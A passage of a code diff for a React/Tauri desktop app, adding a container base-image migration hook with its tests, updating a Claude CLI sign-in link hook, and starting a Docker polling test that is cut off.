const [submitting, setSubmitting] = useState(false);
|
||||
const [codeSubmitted, setCodeSubmitted] = useState(false);
|
||||
const [submitError, setSubmitError] = useState<string | null>(null);
|
||||
const [codeRejections, setCodeRejections] = useState(0);
|
||||
// Candidates from `claude-token-link`, in arrival order. Kept as a list
|
||||
// rather than a single value so `pickSignInUrl` applies the same first-wins
|
||||
// rule here as it does to the scraped transcript — the CLI reprints the same
|
||||
// hyperlink after every retry, and a *different* one arriving later must not
|
||||
// be able to displace the one the user was already shown.
|
||||
const [links, setLinks] = useState<string[]>([]);
|
||||
|
||||
// Held in a ref so a fresh callback identity cannot restart the flow.
|
||||
const succeededRef = useRef(onSucceeded);
|
||||
@@ -174,6 +236,26 @@ export function useClaudeTokenAcquisition(
|
||||
: next;
|
||||
});
|
||||
});
|
||||
await register<ClaudeTokenLinkEvent>(LINK_EVENT, (payload) => {
|
||||
if (payload.project_id !== projectId) return;
|
||||
setLinks((prev) =>
|
||||
prev.includes(payload.url) || prev.length >= MAX_LINKS
|
||||
? prev
|
||||
: [...prev, payload.url],
|
||||
);
|
||||
});
|
||||
await register<ClaudeTokenCodeRejectedEvent>(
|
||||
CODE_REJECTED_EVENT,
|
||||
(payload) => {
|
||||
if (payload.project_id !== projectId) return;
|
||||
// The CLI is alive and back at its prompt, so this is a correction
|
||||
// the user can act on — not a failure. Re-open the input and say
|
||||
// why, rather than leaving "Finishing sign-in" on screen forever.
|
||||
setCodeRejections((n) => n + 1);
|
||||
setCodeSubmitted(false);
|
||||
setSubmitError(payload.message);
|
||||
},
|
||||
);
|
||||
} catch (e) {
|
||||
if (cancelled) return;
|
||||
setPhase("failed");
|
||||
@@ -242,7 +324,13 @@ export function useClaudeTokenAcquisition(
|
||||
}
|
||||
}, []);
|
||||
|
||||
const signInUrl = useMemo(() => extractSignInUrl(output), [output]);
|
||||
// The hyperlink parameter wins whenever there is one: it is the only place
|
||||
// the CLI emits the URL contiguously. Scraping the visible text is the
|
||||
// fallback for versions that print a bare URL — see `extractSignInUrl`.
|
||||
const signInUrl = useMemo(
|
||||
() => pickSignInUrl(links) ?? extractSignInUrl(output),
|
||||
[links, output],
|
||||
);
|
||||
|
||||
return {
|
||||
phase,
|
||||
@@ -253,6 +341,7 @@ export function useClaudeTokenAcquisition(
|
||||
submitting,
|
||||
codeSubmitted,
|
||||
submitError,
|
||||
codeRejections,
|
||||
submitCode,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,356 @@
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
||||
import { act, renderHook, waitFor } from "@testing-library/react";
|
||||
import { useContainerMigration } from "./useContainerMigration";
|
||||
import type {
|
||||
ContainerStaleness,
|
||||
MigrationReport,
|
||||
MigrationState,
|
||||
Project,
|
||||
} from "../lib/types";
|
||||
|
||||
const getContainerStaleness = vi.fn();
|
||||
const getMigrationState = vi.fn();
|
||||
const migrateProjectToBase = vi.fn();
|
||||
const confirmMigration = vi.fn();
|
||||
const rollbackMigration = vi.fn();
|
||||
const pushToast = vi.fn();
|
||||
let progress: string | undefined;
|
||||
|
||||
vi.mock("../lib/tauri-commands", () => ({
|
||||
getContainerStaleness: (...a: unknown[]) => getContainerStaleness(...a),
|
||||
getMigrationState: (...a: unknown[]) => getMigrationState(...a),
|
||||
migrateProjectToBase: (...a: unknown[]) => migrateProjectToBase(...a),
|
||||
confirmMigration: (...a: unknown[]) => confirmMigration(...a),
|
||||
rollbackMigration: (...a: unknown[]) => rollbackMigration(...a),
|
||||
}));
|
||||
|
||||
vi.mock("../store/appState", () => ({
|
||||
useAppState: Object.assign(
|
||||
(selector: (s: unknown) => unknown) =>
|
||||
selector({ pushToast, containerProgress: { p1: progress } }),
|
||||
{
|
||||
getState: () => ({ setContainerProgress: () => {} }),
|
||||
},
|
||||
),
|
||||
}));
|
||||
|
||||
const STALE: ContainerStaleness = {
|
||||
stale: true,
|
||||
known: true,
|
||||
base_image_id: "sha256:aaa",
|
||||
current_base_image_id: "sha256:bbb",
|
||||
snapshot_created_at: "2026-03-01T09:00:00Z",
|
||||
missing_paths: ["/usr/bin/socat"],
|
||||
missing_features: ["Auth bridge tunnel (socat)"],
|
||||
apt_delta: ["socat"],
|
||||
npm_global_delta: [],
|
||||
verbatim_paths: [],
|
||||
unpreserved_data: [],
|
||||
outdated_package_count: 61,
|
||||
probe_error: null,
|
||||
};
|
||||
|
||||
const FRESH: ContainerStaleness = {
|
||||
...STALE,
|
||||
stale: false,
|
||||
base_image_id: "sha256:bbb",
|
||||
missing_paths: [],
|
||||
missing_features: [],
|
||||
apt_delta: [],
|
||||
outdated_package_count: 0,
|
||||
};
|
||||
|
||||
const CLEAN: MigrationReport = {
|
||||
phase: "succeeded",
|
||||
packages_requested: ["socat"],
|
||||
packages_installed: ["socat"],
|
||||
packages_failed: [],
|
||||
paths_copied: [],
|
||||
features_restored: ["Auth bridge tunnel (socat)"],
|
||||
rollback_available: true,
|
||||
message: "",
|
||||
};
|
||||
|
||||
const OPTIONS = {
|
||||
replay_packages: true,
|
||||
copy_paths: false,
|
||||
keep_rollback: true,
|
||||
};
|
||||
|
||||
function state(overrides: Partial<MigrationState> = {}): MigrationState {
|
||||
return {
|
||||
phase: "in-progress",
|
||||
from_image_id: "sha256:aaa",
|
||||
to_base_id: "sha256:bbb",
|
||||
started_at: "2026-08-09T10:00:00Z",
|
||||
report: null,
|
||||
rollback_image: "triple-c-snapshot-p1:pre-migration-1754733600",
|
||||
staging_path: null,
|
||||
options: OPTIONS,
|
||||
plan: null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
const project = { id: "p1", name: "api-server", container_id: "c1", status: "stopped" } as Project;
|
||||
|
||||
describe("useContainerMigration", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
progress = undefined;
|
||||
getContainerStaleness.mockResolvedValue(STALE);
|
||||
getMigrationState.mockResolvedValue(null);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
it("probes staleness for a container that exists", async () => {
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.staleness).toEqual(STALE));
|
||||
expect(getContainerStaleness).toHaveBeenCalledWith("p1");
|
||||
});
|
||||
|
||||
it("does not probe a project whose container was never created", async () => {
|
||||
renderHook(() =>
|
||||
useContainerMigration({ ...project, container_id: null } as Project),
|
||||
);
|
||||
await waitFor(() => expect(getMigrationState).toHaveBeenCalled());
|
||||
expect(getContainerStaleness).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("shows an absent banner rather than an error one when the probe fails", async () => {
|
||||
getContainerStaleness.mockRejectedValue(new Error("no such container"));
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.probing).toBe(false));
|
||||
expect(result.current.staleness).toBeNull();
|
||||
});
|
||||
|
||||
it("passes the options through and keeps the report", async () => {
|
||||
migrateProjectToBase.mockResolvedValue(CLEAN);
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.staleness).toEqual(STALE));
|
||||
|
||||
getContainerStaleness.mockResolvedValue(FRESH);
|
||||
await act(async () => {
|
||||
await result.current.start({
|
||||
replay_packages: true,
|
||||
copy_paths: false,
|
||||
keep_rollback: true,
|
||||
});
|
||||
});
|
||||
|
||||
expect(migrateProjectToBase).toHaveBeenCalledWith("p1", {
|
||||
replay_packages: true,
|
||||
copy_paths: false,
|
||||
keep_rollback: true,
|
||||
});
|
||||
expect(result.current.report).toEqual(CLEAN);
|
||||
expect(result.current.running).toBe(false);
|
||||
});
|
||||
|
||||
it("turns a rejected migrate call into a failed report, not a silent nothing", async () => {
|
||||
migrateProjectToBase.mockRejectedValue(new Error("docker daemon went away"));
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await act(async () => {
|
||||
await result.current.start({
|
||||
replay_packages: true,
|
||||
copy_paths: false,
|
||||
keep_rollback: true,
|
||||
});
|
||||
});
|
||||
expect(result.current.report?.phase).toBe("failed");
|
||||
expect(result.current.report?.message).toMatch(/docker daemon went away/);
|
||||
expect(result.current.report?.rollback_available).toBe(false);
|
||||
});
|
||||
|
||||
it("clears the report and re-probes once the migration is kept", async () => {
|
||||
migrateProjectToBase.mockResolvedValue(CLEAN);
|
||||
confirmMigration.mockResolvedValue(undefined);
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await act(async () => {
|
||||
await result.current.start({
|
||||
replay_packages: true,
|
||||
copy_paths: false,
|
||||
keep_rollback: true,
|
||||
});
|
||||
});
|
||||
getContainerStaleness.mockResolvedValue(FRESH);
|
||||
await act(async () => {
|
||||
await result.current.keep();
|
||||
});
|
||||
expect(confirmMigration).toHaveBeenCalledWith("p1");
|
||||
expect(result.current.report).toBeNull();
|
||||
await waitFor(() => expect(result.current.staleness).toEqual(FRESH));
|
||||
});
|
||||
|
||||
it("says out loud that a rollback left the volumes alone", async () => {
|
||||
rollbackMigration.mockResolvedValue(undefined);
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await act(async () => {
|
||||
await result.current.rollback();
|
||||
});
|
||||
expect(rollbackMigration).toHaveBeenCalledWith("p1");
|
||||
expect(pushToast).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
kind: "success",
|
||||
detail: expect.stringMatching(/Volumes were not touched/i),
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("resolves the record when a report is dismissed, not just the local state", async () => {
|
||||
// Dismiss is the *only* action offered when `rollback_available` is false.
|
||||
// As local state it left an `awaiting-confirmation` record on disk that
|
||||
// came back on the next mount and made every future migration refuse with
|
||||
// "already has a finished migration waiting for a decision" — unrecoverable
|
||||
// without deleting JSON by hand.
|
||||
confirmMigration.mockResolvedValue(undefined);
|
||||
migrateProjectToBase.mockResolvedValue({ ...CLEAN, rollback_available: false });
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await act(async () => {
|
||||
await result.current.start(OPTIONS);
|
||||
});
|
||||
expect(result.current.report).not.toBeNull();
|
||||
|
||||
await act(async () => {
|
||||
await result.current.dismiss();
|
||||
});
|
||||
expect(confirmMigration).toHaveBeenCalledWith("p1");
|
||||
expect(result.current.report).toBeNull();
|
||||
});
|
||||
|
||||
it("keeps the report on screen when dismissing it could not be recorded", async () => {
|
||||
confirmMigration.mockRejectedValue(new Error("disk is read-only"));
|
||||
migrateProjectToBase.mockResolvedValue({ ...CLEAN, rollback_available: false });
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await act(async () => {
|
||||
await result.current.start(OPTIONS);
|
||||
});
|
||||
await act(async () => {
|
||||
await result.current.dismiss();
|
||||
});
|
||||
expect(result.current.report).not.toBeNull();
|
||||
expect(pushToast).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ kind: "error" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("reports the probe as settled only once it has actually landed", async () => {
|
||||
// Everything downstream reads an unlanded probe's empty arrays as "nothing
|
||||
// found", so "settled" has to be a distinct signal from "not probing".
|
||||
getContainerStaleness.mockResolvedValue({
|
||||
...STALE,
|
||||
probe_error: "could not exec in the container",
|
||||
});
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.probing).toBe(false));
|
||||
expect(result.current.probeSettled).toBe(false);
|
||||
|
||||
getContainerStaleness.mockResolvedValue(STALE);
|
||||
await act(async () => {
|
||||
await result.current.refresh();
|
||||
});
|
||||
expect(result.current.probeSettled).toBe(true);
|
||||
});
|
||||
|
||||
describe("crash recovery", () => {
|
||||
it("adopts a run that was still in progress, and polls it to a report", async () => {
|
||||
getMigrationState.mockResolvedValue(state());
|
||||
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.running).toBe(true));
|
||||
expect(result.current.recovered).toBe(true);
|
||||
|
||||
getMigrationState.mockResolvedValue(
|
||||
state({ phase: "awaiting-confirmation", report: CLEAN }),
|
||||
);
|
||||
await waitFor(() => expect(result.current.report).toEqual(CLEAN), {
|
||||
timeout: 5000,
|
||||
});
|
||||
expect(result.current.running).toBe(false);
|
||||
});
|
||||
|
||||
it("surfaces a finished migration that was never acknowledged", async () => {
|
||||
getMigrationState.mockResolvedValue(
|
||||
state({ phase: "awaiting-confirmation", report: CLEAN }),
|
||||
);
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.report).toEqual(CLEAN));
|
||||
expect(result.current.running).toBe(false);
|
||||
});
|
||||
|
||||
it("surfaces an interrupted migration instead of leaving it invisible", async () => {
|
||||
getMigrationState.mockResolvedValue(state({ phase: "interrupted" }));
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.interrupted).not.toBeNull());
|
||||
// Nothing is driving it, so it is not "running" and has no report.
|
||||
expect(result.current.running).toBe(false);
|
||||
expect(result.current.report).toBeNull();
|
||||
});
|
||||
|
||||
it("resumes an interrupted migration with the options it was given", async () => {
|
||||
getMigrationState.mockResolvedValue(state({ phase: "interrupted" }));
|
||||
migrateProjectToBase.mockResolvedValue(CLEAN);
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.interrupted).not.toBeNull());
|
||||
|
||||
// The resume worked, so the backend cleared the record.
|
||||
getMigrationState.mockResolvedValue(state({ phase: "awaiting-confirmation" }));
|
||||
await act(async () => {
|
||||
await result.current.resume();
|
||||
});
|
||||
// The deltas cannot be recomputed after the swap, so the recorded plan's
|
||||
// options are replayed verbatim rather than re-derived.
|
||||
expect(migrateProjectToBase).toHaveBeenCalledWith("p1", OPTIONS);
|
||||
expect(result.current.interrupted).toBeNull();
|
||||
expect(result.current.report).toEqual(CLEAN);
|
||||
});
|
||||
|
||||
it("keeps a mid-swap container visible when the resume itself fails", async () => {
|
||||
// The old behaviour nulled `interrupted` at the top of `start` and never
|
||||
// looked again, so a failed resume hid a half-migrated container for the
|
||||
// rest of the session — leaving Keep as the only offered action over it.
|
||||
getMigrationState.mockResolvedValue(state({ phase: "interrupted" }));
|
||||
migrateProjectToBase.mockRejectedValue(new Error("docker daemon went away"));
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.interrupted).not.toBeNull());
|
||||
|
||||
await act(async () => {
|
||||
await result.current.resume();
|
||||
});
|
||||
expect(result.current.report?.phase).toBe("failed");
|
||||
expect(result.current.interrupted?.phase).toBe("interrupted");
|
||||
});
|
||||
|
||||
it("adopts the interrupted record a failed fresh run leaves behind", async () => {
|
||||
// `commit_container_snapshot` failing after the swap returns a report and
|
||||
// writes `interrupted`. Both have to reach the UI, or Keep is offered
|
||||
// over a container the app can no longer reason about.
|
||||
getMigrationState.mockResolvedValue(null);
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.staleness).toEqual(STALE));
|
||||
|
||||
migrateProjectToBase.mockResolvedValue({
|
||||
...CLEAN,
|
||||
phase: "failed",
|
||||
message: "saving it failed. Resume it, or roll back.",
|
||||
});
|
||||
getMigrationState.mockResolvedValue(state({ phase: "interrupted" }));
|
||||
await act(async () => {
|
||||
await result.current.start(OPTIONS);
|
||||
});
|
||||
expect(result.current.interrupted?.phase).toBe("interrupted");
|
||||
});
|
||||
|
||||
it("ignores an unrecognised phase from a future build rather than crashing", async () => {
|
||||
getMigrationState.mockResolvedValue(state({ phase: "quantum-tunnelling" }));
|
||||
const { result } = renderHook(() => useContainerMigration(project));
|
||||
await waitFor(() => expect(result.current.staleness).toEqual(STALE));
|
||||
expect(result.current.running).toBe(false);
|
||||
expect(result.current.interrupted).toBeNull();
|
||||
expect(result.current.report).toBeNull();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,355 @@
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import type {
|
||||
ContainerStaleness,
|
||||
MigrationOptions,
|
||||
MigrationReport,
|
||||
MigrationState,
|
||||
Project,
|
||||
} from "../lib/types";
|
||||
import {
|
||||
MIGRATION_PHASE_AWAITING_CONFIRMATION,
|
||||
MIGRATION_PHASE_IN_PROGRESS,
|
||||
MIGRATION_PHASE_INTERRUPTED,
|
||||
} from "../lib/types";
|
||||
import * as commands from "../lib/tauri-commands";
|
||||
import { useAppState } from "../store/appState";
|
||||
|
||||
/**
|
||||
* Unsettled phases from `MigrationState.phase` (hyphenated, unlike the
|
||||
* outcome phases on `MigrationReport`). Compared as strings on purpose: the
|
||||
* backend types this loosely so an unrecognised value from a future build
|
||||
* cannot crash the UI, and neither can it here — an unknown phase simply
|
||||
* surfaces nothing rather than throwing.
|
||||
*/
|
||||
const IN_PROGRESS = MIGRATION_PHASE_IN_PROGRESS;
|
||||
const INTERRUPTED = MIGRATION_PHASE_INTERRUPTED;
|
||||
const AWAITING = MIGRATION_PHASE_AWAITING_CONFIRMATION;
|
||||
|
||||
export interface ContainerMigration {
|
||||
/** Null until the first probe returns, or when the container has never been created. */
|
||||
staleness: ContainerStaleness | null;
|
||||
probing: boolean;
|
||||
/**
|
||||
* The probe has landed with a complete answer.
|
||||
*
|
||||
* Until it does, `apt_delta`, `verbatim_paths` and `unpreserved_data` are all
|
||||
* "not known", which is indistinguishable from "empty" at every call site
|
||||
* that reads them. Starting a migration in that state means the modal telling
|
||||
* the user there was nothing to copy while the backend quietly skips copying
|
||||
* — so the action is gated on this, not on the probe merely having been
|
||||
* kicked off.
|
||||
*/
|
||||
probeSettled: boolean;
|
||||
/** True while a migration is running — whether we started it or found it. */
|
||||
running: boolean;
|
||||
/** True when the run in progress was recovered from disk, not started here. */
|
||||
recovered: boolean;
|
||||
/**
|
||||
* A migration the app died in the middle of. It is not running and it has no
|
||||
* report: the container is mid-swap until someone resumes or rolls it back.
|
||||
*/
|
||||
interrupted: MigrationState | null;
|
||||
/** Re-enter an interrupted migration. The backend continues the same run. */
|
||||
resume: () => Promise<void>;
|
||||
/** The settled report, kept until the user keeps, rolls back or dismisses it. */
|
||||
report: MigrationReport | null;
|
||||
/** Progress lines from `container-progress`, oldest first. */
|
||||
log: string[];
|
||||
/** The most recent progress line, or null before the first one arrives. */
|
||||
phaseMessage: string | null;
|
||||
/** True while confirm/rollback is in flight. */
|
||||
busy: boolean;
|
||||
start: (options: MigrationOptions) => Promise<void>;
|
||||
keep: () => Promise<void>;
|
||||
rollback: () => Promise<void>;
|
||||
/**
|
||||
* Acknowledge a report there is nothing to keep or roll back.
|
||||
*
|
||||
* It has to reach the backend, not just clear local state: an
|
||||
* `awaiting-confirmation` record that is never resolved comes back on the
|
||||
* next mount *and* makes every future migration refuse with "already has a
|
||||
* finished migration waiting for a decision".
|
||||
*/
|
||||
dismiss: () => Promise<void>;
|
||||
refresh: () => Promise<void>;
|
||||
}
|
||||
|
||||
/**
|
||||
* Container base-image migration for one project.
|
||||
*
|
||||
* Three things have to survive a closed modal: the run itself, the progress
|
||||
* log, and the report. A migration takes minutes, so the modal is a *view* onto
|
||||
* this hook rather than the thing that owns the work — closing it must not
|
||||
* cancel anything. The hook lives in `ProjectHome`, above both the modal and
|
||||
* the Overview banner, so either surface can be showing at any point.
|
||||
*
|
||||
* A migration the app died in the middle of is picked up from
|
||||
* `getMigrationState` on mount — as `interrupted`, which is offered for resume,
|
||||
* or as `awaiting-confirmation`, whose report is put back on screen. Without
|
||||
* that, a half-migrated container would look identical to a healthy one, which
|
||||
* is the exact failure mode this whole feature exists to fix.
|
||||
*/
|
||||
export function useContainerMigration(project: Project): ContainerMigration {
|
||||
const projectId = project.id;
|
||||
const [staleness, setStaleness] = useState<ContainerStaleness | null>(null);
|
||||
const [probing, setProbing] = useState(false);
|
||||
const [running, setRunning] = useState(false);
|
||||
const [recovered, setRecovered] = useState(false);
|
||||
const [interrupted, setInterrupted] = useState<MigrationState | null>(null);
|
||||
const [report, setReport] = useState<MigrationReport | null>(null);
|
||||
const [log, setLog] = useState<string[]>([]);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const pushToast = useAppState((s) => s.pushToast);
|
||||
const progress = useAppState((s) => s.containerProgress[projectId]);
|
||||
|
||||
// Guards a late response from an earlier project overwriting a newer one.
|
||||
const generation = useRef(0);
|
||||
|
||||
const refresh = useCallback(async () => {
|
||||
const gen = ++generation.current;
|
||||
if (!project.container_id) {
|
||||
setStaleness(null);
|
||||
return;
|
||||
}
|
||||
setProbing(true);
|
||||
try {
|
||||
const next = await commands.getContainerStaleness(projectId);
|
||||
if (gen === generation.current) setStaleness(next);
|
||||
} catch {
|
||||
// A probe that cannot reach the container is "we do not know", which is
|
||||
// an absent banner rather than an error one — the same call is retried
|
||||
// whenever the container's status changes.
|
||||
if (gen === generation.current) setStaleness(null);
|
||||
} finally {
|
||||
if (gen === generation.current) setProbing(false);
|
||||
}
|
||||
}, [projectId, project.container_id]);
|
||||
|
||||
// Probe staleness when the container settles into a new state. The probe runs
|
||||
// two filesystem walks and is explicitly not for polling, so it is skipped
|
||||
// mid-transition and mid-run — a reading taken while the container is being
|
||||
// swapped describes neither the old system layer nor the new one.
|
||||
const settled = project.status !== "starting" && project.status !== "stopping";
|
||||
useEffect(() => {
|
||||
if (running || !settled) return;
|
||||
void refresh();
|
||||
}, [refresh, settled, running]);
|
||||
|
||||
// Crash recovery: adopt whatever the backend still has on record.
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
commands
|
||||
.getMigrationState(projectId)
|
||||
.then((state) => {
|
||||
if (cancelled || !state) return;
|
||||
if (state.phase === IN_PROGRESS) {
|
||||
// Something is still driving it; watch rather than restart.
|
||||
setRunning(true);
|
||||
setRecovered(true);
|
||||
} else if (state.phase === INTERRUPTED) {
|
||||
// Nothing is driving it. The container is mid-swap and will stay that
|
||||
// way until someone resumes — so this must be visible, not silent.
|
||||
setInterrupted(state);
|
||||
} else if (state.phase === AWAITING && state.report) {
|
||||
setReport(state.report);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
/* No recorded state is the normal case. */
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [projectId]);
|
||||
|
||||
// A recovered run has no promise to await, so poll it to completion.
|
||||
useEffect(() => {
|
||||
if (!running || !recovered) return;
|
||||
let cancelled = false;
|
||||
const timer = setInterval(() => {
|
||||
commands
|
||||
.getMigrationState(projectId)
|
||||
.then((state: MigrationState | null) => {
|
||||
if (cancelled || state?.phase === IN_PROGRESS) return;
|
||||
setRunning(false);
|
||||
setRecovered(false);
|
||||
// A cleared record means it was confirmed or rolled back elsewhere.
|
||||
if (!state) {
|
||||
void refresh();
|
||||
return;
|
||||
}
|
||||
if (state.phase === INTERRUPTED) {
|
||||
setInterrupted(state);
|
||||
return;
|
||||
}
|
||||
if (state.report) setReport(state.report);
|
||||
void refresh();
|
||||
})
|
||||
.catch(() => {
|
||||
/* Keep polling; a transient IPC failure is not an outcome. */
|
||||
});
|
||||
}, 2500);
|
||||
return () => {
|
||||
cancelled = true;
|
||||
clearInterval(timer);
|
||||
};
|
||||
}, [running, recovered, projectId, refresh]);
|
||||
|
||||
// Accumulate the shared progress line into a scrollback the modal can show.
|
||||
// The store collapses repeats, so identical consecutive apt lines appear once.
|
||||
useEffect(() => {
|
||||
if (!running || !progress) return;
|
||||
setLog((prev) =>
|
||||
prev[prev.length - 1] === progress ? prev : [...prev, progress],
|
||||
);
|
||||
}, [progress, running]);
|
||||
|
||||
/**
|
||||
* Re-read the persisted record after a run settles.
|
||||
*
|
||||
* A migration that got past the container swap and then failed leaves the
|
||||
* record at `interrupted` — the container is mid-swap and the only correct
|
||||
* next actions are Resume and Roll back. Without this the hook would show the
|
||||
* failure report's Keep button over a half-migrated container, and a *failed
|
||||
* resume* would clear `interrupted` and never look again, hiding the mid-swap
|
||||
* container for the rest of the session.
|
||||
*/
|
||||
const adoptRecordAfterRun = useCallback(async () => {
|
||||
try {
|
||||
const state = await commands.getMigrationState(projectId);
|
||||
setInterrupted(state?.phase === INTERRUPTED ? state : null);
|
||||
} catch {
|
||||
/* Leave whatever we had; a transient IPC failure is not an outcome. */
|
||||
}
|
||||
}, [projectId]);
|
||||
|
||||
const start = useCallback(
|
||||
async (options: MigrationOptions) => {
|
||||
setLog([]);
|
||||
setReport(null);
|
||||
setRecovered(false);
|
||||
setInterrupted(null);
|
||||
setRunning(true);
|
||||
try {
|
||||
const result = await commands.migrateProjectToBase(projectId, options);
|
||||
setReport(result);
|
||||
} catch (e) {
|
||||
// A rejected call means the backend never produced a report. Synthesise
|
||||
// the failed shape so the report surface — not a toast that scrolls
|
||||
// away — is still what tells the user.
|
||||
setReport({
|
||||
phase: "failed",
|
||||
packages_requested: [],
|
||||
packages_installed: [],
|
||||
packages_failed: [],
|
||||
paths_copied: [],
|
||||
features_restored: [],
|
||||
rollback_available: false,
|
||||
message: String(e),
|
||||
});
|
||||
} finally {
|
||||
setRunning(false);
|
||||
useAppState.getState().setContainerProgress(projectId, null);
|
||||
await adoptRecordAfterRun();
|
||||
void refresh();
|
||||
}
|
||||
},
|
||||
[projectId, refresh, adoptRecordAfterRun],
|
||||
);
|
||||
|
||||
/**
|
||||
* Re-enter an interrupted migration. The backend continues that run rather
|
||||
* than starting a new one, and the recorded options are replayed as-is — the
|
||||
* deltas cannot be recomputed once the container has already been swapped.
|
||||
*/
|
||||
const resume = useCallback(async () => {
|
||||
const pending = interrupted;
|
||||
if (!pending) return;
|
||||
await start(pending.options);
|
||||
}, [interrupted, start]);
|
||||
|
||||
const keep = useCallback(async () => {
|
||||
setBusy(true);
|
||||
try {
|
||||
await commands.confirmMigration(projectId);
|
||||
setReport(null);
|
||||
await refresh();
|
||||
} catch (e) {
|
||||
pushToast({
|
||||
kind: "error",
|
||||
message: `Could not discard the rollback image for “${project.name}”`,
|
||||
detail: String(e),
|
||||
});
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
}, [projectId, project.name, refresh, pushToast]);
|
||||
|
||||
const rollback = useCallback(async () => {
|
||||
setBusy(true);
|
||||
try {
|
||||
await commands.rollbackMigration(projectId);
|
||||
setReport(null);
|
||||
setInterrupted(null);
|
||||
pushToast({
|
||||
kind: "success",
|
||||
message: `“${project.name}” is back on its previous system layer.`,
|
||||
detail:
|
||||
"Volumes were not touched, so anything written to your home directory or workspace during the update is still there.",
|
||||
});
|
||||
await refresh();
|
||||
} catch (e) {
|
||||
pushToast({
|
||||
kind: "error",
|
||||
message: `Rollback failed for “${project.name}”`,
|
||||
detail: String(e),
|
||||
});
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
}, [projectId, project.name, refresh, pushToast]);
|
||||
|
||||
/**
|
||||
* Dismiss resolves the record; it is not a local hide.
|
||||
*
|
||||
* `confirm_migration` is the backend's "this decision is made": it drops the
|
||||
* rollback tag (there is none in this case), deletes the staged payload and
|
||||
* removes the state file. Skipping it left an `awaiting-confirmation` record
|
||||
* on disk that reappeared on every mount and made `migrate_project_to_base`
|
||||
* refuse forever — recoverable only by deleting JSON by hand.
|
||||
*/
|
||||
const dismiss = useCallback(async () => {
|
||||
setBusy(true);
|
||||
try {
|
||||
await commands.confirmMigration(projectId);
|
||||
setReport(null);
|
||||
} catch (e) {
|
||||
pushToast({
|
||||
kind: "error",
|
||||
message: `Could not clear the update record for “${project.name}”`,
|
||||
detail: String(e),
|
||||
});
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
}, [projectId, project.name, pushToast]);
|
||||
|
||||
return {
|
||||
staleness,
|
||||
probing,
|
||||
probeSettled: !probing && staleness !== null && !staleness.probe_error,
|
||||
running,
|
||||
recovered,
|
||||
interrupted,
|
||||
report,
|
||||
log,
|
||||
phaseMessage: log.length > 0 ? log[log.length - 1] : null,
|
||||
busy,
|
||||
start,
|
||||
resume,
|
||||
keep,
|
||||
rollback,
|
||||
dismiss,
|
||||
refresh,
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
||||
import { act, renderHook } from "@testing-library/react";
|
||||
import { useDocker } from "./useDocker";
|
||||
|
||||
const checkDocker = vi.fn();
|
||||
const checkImageExists = vi.fn();
|
||||
|
||||
vi.mock("../lib/tauri-commands", () => ({
|
||||
checkDocker: () => checkDocker(),
|
||||
checkImageExists: () => checkImageExists(),
|
||||
buildImage: vi.fn(),
|
||||
pullImage: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@tauri-apps/api/event", () => ({ listen: vi.fn(async () => vi.fn()) }));
|
||||
|
||||
const setDockerAvailable = vi.fn();
|
||||
const setImageExists = vi.fn();
|
||||
|
||||
vi.mock("../store/appState", () => ({
|
||||
useAppState: (selector: (s: unknown) => unknown) =>
|
||||
selector({
|
||||
dockerAvailable: false,
|
||||
setDockerAvailable,
|
||||
imageExists: false,
|
||||
setImageExists,
|
||||
}),
|
||||
}));
|
||||
|
||||
/** Let the interval fire and its awaited body settle. */
|
||||
const tick = async () => {
|
||||
await act(async () => {
|
||||
vi.advanceTimersByTime(5000);
|
||||
await Promise.resolve();
|
||||
await Promise.resolve();
|
||||
await Promise.resolve();
|
||||
});
|
||||
};
|
||||
|
||||
describe("useDocker.startDockerPolling", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
vi.useFakeTimers();
|
||||
checkImageExists.mockResolvedValue(true);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
it("runs onAvailable once, after Docker is marked available and the image re-checked", async () => {
|
||||
checkDocker.mockResolvedValueOnce(false).mockResolvedValue(true);
|
||||
